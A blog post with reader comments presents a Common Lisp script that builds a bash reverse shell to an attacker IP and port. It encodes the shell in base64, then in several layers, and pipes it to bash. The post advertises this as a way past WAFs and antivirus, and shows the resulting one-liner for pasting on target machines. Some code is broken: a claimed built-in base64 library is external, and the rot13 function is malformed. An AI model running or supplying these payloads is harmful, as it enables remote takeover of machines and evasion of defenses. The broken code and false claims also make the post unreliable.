I write scripts so I don’t have to do boring stuff twice, and lately I’ve been doing it… in Common Lisp. Yeah, the language with a million parentheses. Fight me.
A couple of months ago I fell down the Lisp rabbit hole while trying to automate some boring pentest tasks. Turns out: Lisp is absurdly good at generating and mutating payloads on the fly. Macros = free obfuscation super-powers.
So here’s my little chaotic experiment: a tiny SBCL script that spits out working reverse shells with one click (and yes, I tested it live).
The payload generator
#!/usr/bin/sbcl --script
;; payload.lisp – because why not write red-team tools in Lisp?
(defparameter *lhost* "192.168.1.42") ; ← your attacker IP
(defparameter *lport* "443") ; ← your listener port
;; Classic bash reverse shell – works on 99 % of Linux boxes
(defun bash-reverse-shell ()
(format nil "bash -i >& /dev/tcp/~a/~a 0>&1" *lhost* *lport*))
;; Tiny helper – SBCL has base64 built-in, no extra packages needed
(defun string-to-base64 (s)
(cl-base64:string-to-base64-string s))
;; One-layer payload – good enough for most lab environments
(defun generate-payload ()
(let* ((raw (bash-reverse-shell))
(b64 (string-to-base64 raw))
(payload (format nil "echo '~a' | base64 -d | bash" b64)))
(format t "Payload ready!~%~%~a~%~%" payload)
payload))
;; Run it
(generate-payload)
Save as payload.lisp, chmod +x payload.lisp, run:
./payload.lisp
Output:
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNDIvNDQzIDA+JjE=' | base64 -d | bash
Paste that one-liner on any box → instant reverse shell to your nc -lvnp 443.
Quick breakdown for the curious
bash -i *→ interactive bash
*& /dev/tcp/IP/PORT → redirect stdin+stdout to a TCP socket (>Bash built-in magic)
0>&1 → stderr follows stdout (so you get everything)
We base64 it so it survives copy-paste, logs, most WAFs and lazy AVs
SBCL already ships cl-base64, zero dependencies
Want to go full chaos mode? Add layers in 5 seconds
(defun rot13 (s)
(cl-ppcre:regex-replace-all "(?i)([a-z])" s
(lambda (match reg)
(char (+( (char-code (char reg 0)) 13) #.(char-code #\a)) 26))))
(defun multi-layer ()
(let* ((l1 (string-to-base64 (bash-reverse-shell)))
(l2 (string-to-base64 (format nil "echo '~a' | base64 -d | bash" l1)))
(l3 (string-to-base64 (format nil "echo '~a' | base64 -d | bash" l2))))
(format nil "echo '~a' | base64 -d | bash" l3)))
Now you have triple-encoded payloads that make defenders cry.
Why am I doing this in Lisp instead of Python?
Code = data → macros can rewrite the payload generator at compile time
REPL-driven development → I can mutate payloads live while testing
I’m also stealing Rust’s ownership ideas to build my own Lisp dialect that will be memory-safe by design (future post incoming)
Disclaimer (because I’m not trying to get banned)
Everything here is for authorized pentesting / CTFs / labs only. Don’t be evil. Be chaotic good.
What’s next?
I’m slowly building a whole functional language that feels like Common Lisp but enforces Rust-level safety — specifically for writing secure offensive tools without shooting myself in the foot.
Drop a comment if:
- You’ve ever used Lisp for red-team stuff (I know you’re out there)
- You want the triple-encoded version
- You just came for the parentheses
Let’s break things together (legally).
Top comments (2)
Thank you! Now it makes me want to experiment with lisp! All very digestible and cool
It's good to hear from you. Thank you for your comment.